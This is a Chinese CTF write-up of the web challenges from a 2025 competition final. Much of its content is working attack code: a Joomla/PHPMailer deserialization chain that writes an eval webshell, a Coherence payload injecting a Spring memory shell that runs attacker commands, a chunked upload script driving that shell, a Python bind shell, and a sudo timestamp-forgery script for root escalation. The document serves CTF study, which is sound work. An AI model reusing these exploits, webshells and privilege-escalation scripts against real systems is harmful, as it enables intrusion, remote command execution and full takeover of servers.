2025强网拟态决赛web方向全解wp

前言

战绩(3/4) 拿到了一个最少解的题的一血 wuwa感觉这个出题逻辑是有点误导的,导致最后错过了关键点

image-20251129131917936

Joomla

找到链子,最终在PHPMailer的send()中的popen执行命令

这里存在一个命令拼接,并且会接收我们的命令打开的流去写文件,所以这里直接tee写马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace Joomla\Database\Sqlite {
class SqliteDriver {
protected $dispatcher;
protected $options = ['driver' => 'sqlite'];

public function __construct($dispatcher) {
$this->dispatcher = $dispatcher;
}
}
}

namespace Joomla\Event {
class Dispatcher {
protected $listeners = [];
public function __construct($listeners) {
$this->listeners = $listeners;
}
}
}

namespace PHPMailer\PHPMailer {
class PHPMailer {
public $Mailer = 'sendmail';
//public $Sendmail = '/bin/tar cf /var/www/html/tmp/rootc4.tar --ignore-failed-read -- /proc';
public $Sendmail = 'tee /var/www/html/tmp/getflag.php --';
public $From = '[email protected]';
public $Sender = '[email protected]';
public $Body = '<?php @eval($_POST[1]);?>';
protected $to = [['[email protected]', 'Joomla']];
}
}

namespace {
$phpmailer = new \PHPMailer\PHPMailer\PHPMailer();
$dispatcher = new \Joomla\Event\Dispatcher([
'onAfterDisconnect' => [[$phpmailer, 'send']]
]);
$driver = new \Joomla\Database\Sqlite\SqliteDriver($dispatcher);

echo base64_encode(serialize($driver));
}

蚁剑连上之后发现读flag没权限,根目录有个hint文件,知道在命令行记录了sudo密码

1
cat /proc/*/cmdline

找到明文密码

image-20251127084912272

最后使用sudo提权读flag

image-20251127084943132

EZdatart

打CVE把flag读到静态目录读就完了

静态目录上传头像后可以找到

image-20251127105536328

然后正常按文章打elephant Datart 1.0.0-rc3漏洞分析(CVE-2024-12994)-先知社区

image-20251127105553113

awd_rasp

有幸拿了个一血

这题首先要绕过rasp和反序列化黑名单

这里反序列化黑名单ban得不多,很多toString(),euqal(),compare()常用函数的入口类没有ban掉,但是针对常规的cc链,和加载字节码的ban得特别的

然后先是看RCEHOOK,非常好绕过,只要第一个命令执行的是ping 127.0.0.1就可以了

之后就是链子用的coherence

注入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
package com.axin;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Scanner;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;

public class exp {

public static class Payload implements Remotable, Serializable, HandlerInterceptor {
public RemoteConstructor getRemoteConstructor() { return null; }
public void setRemoteConstructor(RemoteConstructor rc) { }

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds;
if (isLinux) {
cmds = new String[]{"bash", "-c", "ping 127.0.0.1;"+cmd};
} else {
cmds = new String[]{"cmd.exe", "/c", "ping 127.0.0.1 &"+cmd};
}
ProcessBuilder pb = new ProcessBuilder(cmds);
pb.redirectErrorStream(true);
Process process = pb.start();
InputStream in = process.getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.setContentType("text/plain");
response.getWriter().write(output);
response.getWriter().flush();
return false;
}
return true;
}

static {
try {
Class<?> selfClass = MethodHandles.lookup().lookupClass();
Object interceptorInstance = selfClass.newInstance();

Object requestAttributes = null;
try {
Method m = RequestContextHolder.class.getMethod("currentRequestAttributes");
requestAttributes = m.invoke(null);
} catch (Exception e) {}

WebApplicationContext context = null;
if (requestAttributes != null) {
try {
Method m = requestAttributes.getClass().getMethod("getRequest");
HttpServletRequest request = (HttpServletRequest) m.invoke(requestAttributes);
context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
} catch (Throwable t) {}

if (context == null) {
try {
Method m = requestAttributes.getClass().getMethod("getAttribute", String.class, int.class);
context = (WebApplicationContext) m.invoke(requestAttributes, "org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
} catch (Throwable t) {}
}
}

if (context != null) {
// 获取 AbstractHandlerMapping 并注入 Interceptor
String[] beanNames = context.getBeanNamesForType(AbstractHandlerMapping.class);
for (String beanName : beanNames) {
try {
AbstractHandlerMapping mapping = (AbstractHandlerMapping) context.getBean(beanName);
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<Object> adaptedInterceptors = (List<Object>) adaptedInterceptorsField.get(mapping);
adaptedInterceptors.add(0, interceptorInstance);
} catch (Exception e) {}
}
}
} catch (Throwable e) {}
}
}

public static void main(String[] args) throws Exception {
Class<?> payloadClass = Payload.class;
String fullClassName = payloadClass.getName();
String classAsPath = fullClassName.replace('.', '/') + ".class";
InputStream in = payloadClass.getClassLoader().getResourceAsStream(classAsPath);

ByteArrayOutputStream buffer = new ByteArrayOutputStream();
int nRead;
byte[] data = new byte[1024];
while ((nRead = in.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
byte[] classBytes = buffer.toByteArray();

String pkgName = "";
String simpleName = fullClassName;
int lastDot = fullClassName.lastIndexOf('.');
if (lastDot != -1) {
pkgName = fullClassName.substring(0, lastDot).replace('.', '/');
simpleName = fullClassName.substring(lastDot + 1);
}
int dollarIndex = simpleName.lastIndexOf('$');
String bName = simpleName.substring(0, dollarIndex);
String vName = simpleName.substring(dollarIndex + 1);

Constructor<ClassIdentity> idConstructor = ClassIdentity.class.getDeclaredConstructor(String.class, String.class, String.class);
idConstructor.setAccessible(true);
ClassIdentity id = idConstructor.newInstance(pkgName, bName, vName);

ClassDefinition def = new ClassDefinition(id, classBytes);
RemoteConstructor constructor = new RemoteConstructor(def, new Object[0]);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(constructor);
oos.close();

byte[] payload = baos.toByteArray();
try (java.io.FileOutputStream fos = new java.io.FileOutputStream("payload.ser")) {
fos.write(payload);
System.out.println("Payload written to payload.ser (" + payload.length + " bytes)");
}
}
}

分块上传文件脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import base64
import urllib.parse
import time

url = "http://172.31.21.17:8888//shell"

def run_cmd(cmd):
try:
encoded_cmd = urllib.parse.quote(cmd)
target_url = f"{url}?cmd={encoded_cmd}"
response = requests.get(target_url, timeout=10)
return response.text.strip()
except Exception as e:
print(f"Error executing command: {e}")
return ""

def upload_chunked(local_path, remote_path):
print(f"Starting upload of {local_path} to {remote_path}")

with open(local_path, "rb") as f:
content = f.read()

b64_content = base64.b64encode(content).decode().replace("\n", "")

chunk_size = 3500
total_chunks = (len(b64_content) + chunk_size - 1) // chunk_size

temp_b64_path = remote_path + ".b64"

run_cmd(f"rm {temp_b64_path}")

for i in range(total_chunks):
start = i * chunk_size
end = start + chunk_size
chunk = b64_content[start:end]

cmd = f"echo -n '{chunk}' >> {temp_b64_path}"
run_cmd(cmd)

if i % 50 == 0:
print(f"Uploaded chunk {i+1}/{total_chunks}")

print("Decoding file on server...")
run_cmd(f"base64 -d {temp_b64_path} > {remote_path}")
run_cmd(f"rm {temp_b64_path}")
run_cmd(f"chmod +x {remote_path}")

ls_out = run_cmd(f"ls -la {remote_path}")
print(f"Upload finished. Verification: {ls_out}")

if __name__ == "__main__":
upload_chunked("exp", "/tmp/exp1")

写一个正向弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import socket
import os
import pty
import sys

def main(port):
# Create a TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Allow socket reuse to avoid "Address already in use" errors
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
# Bind to all interfaces on the specified port
s.bind(('0.0.0.0', port))
s.listen(1)
print(f"[+] Bind shell listening on 0.0.0.0:{port}")
print(f"[+] Waiting for connection...")

# Accept a connection
conn, addr = s.accept()
print(f"[+] Connection received from {addr[0]}:{addr[1]}")

# Duplicate the file descriptors of the socket to stdin, stdout, and stderr
# This redirects the input/output of the process to the socket
os.dup2(conn.fileno(), 0) # stdin
os.dup2(conn.fileno(), 1) # stdout
os.dup2(conn.fileno(), 2) # stderr

# Spawn a PTY shell
# pty.spawn handles the pseudo-terminal allocation, giving a proper interactive shell
print("[+] Spawning shell...")
shell = "/bin/bash"
if not os.path.exists(shell):
shell = "/bin/sh"

pty.spawn(shell)

except Exception as e:
print(f"[-] Error: {e}")
finally:
# Clean up
s.close()

if __name__ == "__main__":
if len(sys.argv) > 1:
try:
port = int(sys.argv[1])
except ValueError:
print(f"Usage: python3 {sys.argv[0]} [port]")
sys.exit(1)
else:
port = 4444 # Default port

main(port)

连上shell之后没有权限要提权

发现/run/sudo/ts/java可写,修改时间戳就可以获得root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
cat > /tmp/pwn_sudo3.py << 'EOF'
#!/usr/bin/env python3
import struct
import os

TS_FILE = "/run/sudo/ts/java"
SHELL_PID = 659

with open(f"/proc/{SHELL_PID}/stat", "r") as f:
content = f.read()
start = content.find('(')
end = content.rfind(')')
stat = content[:start].split() + [content[start:end+1]] + content[end+2:].split()
sid = int(stat[5])
starttime_ticks = int(stat[21])

with open("/proc/uptime", "r") as f:
uptime = float(f.read().split()[0])

starttime_sec = starttime_ticks // 100
starttime_nsec = (starttime_ticks % 100) * 10000000

# 关键修改:设置为当前时间减 1 秒(刚刚验证过)
ts_sec = int(uptime) - 1
ts_nsec = 0

ttydev = 3 | (136 << 8)

print(f"[*] Session ID: {sid}")
print(f"[*] Shell start (sec): {starttime_sec}")
print(f"[*] Current uptime: {uptime}")
print(f"[*] Setting ts to: {ts_sec} (just now)")

with open(TS_FILE, "rb") as f:
original = bytearray(f.read())

header = bytes(original[:56])

entry = struct.pack("<HHHH", 2, 56, 2, 0)
entry += struct.pack("<II", 1000, sid)
entry += struct.pack("<QQ", starttime_sec, starttime_nsec)
entry += struct.pack("<QQ", ts_sec, ts_nsec)
entry += struct.pack("<Q", ttydev)

with open(TS_FILE, "wb") as f:
f.write(header + entry)

print("[+] Done!")
EOF
python3 /tmp/pwn_sudo3.py && sudo -i

wuwa(复现)

通过报错拿到jwt key登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import subprocess
import sys

# Construct the payload
# > 1024 chars to trigger the 'else' block
# Length % 4 == 1 to trigger incorrect padding error in base64 decode
token_payload = "A" * 1025
full_token = f"Bearer {token_payload}"

url = "http://172.31.21.19:8000/admin"

print(f"Sending request to {url} with token length {len(token_payload)}...")
print("Expected result: 500 Internal Server Error due to padding error in verify_token")

# Construct curl command
cmd = [
"curl",
"-v",
"-H", f"Authorization: {full_token}",
url
]

try:
subprocess.run(cmd, check=False)
except FileNotFoundError:
print("curl not found in PATH. Please ensure curl is installed.")

tcp扫描开放端口,扫出来开了三个,其实测试只有web和另一个端口开着的,不知道为什么会误报

image-20251128145559531

探测到10052是一个zbbix java gateway服务,然后比赛到这里我就没做出来了,因为我从我外网扫靶机也可以扫到10052,也就是说这题如果一步步走过来要利用这个ssrf特性的话,10052应该只有在内网可以访问到,这样才符合做题逻辑,而且题目描述是

python代码审计,但是实际上这题的解法完全可以绕过这个python的web服务甚至连附件都不用看就能做出来,我不知道出题人是怎么想的,或者是打了个非预期?

image-20251129132143716

赛后复现就是打这个10052,了解到这个zbbix服务可以指定连接一个jndi服务器进行jmx反序列化

在javachain上启动服务再根据协议发送连接即可

image-20251129132356269

弹shell

image-20251129132414242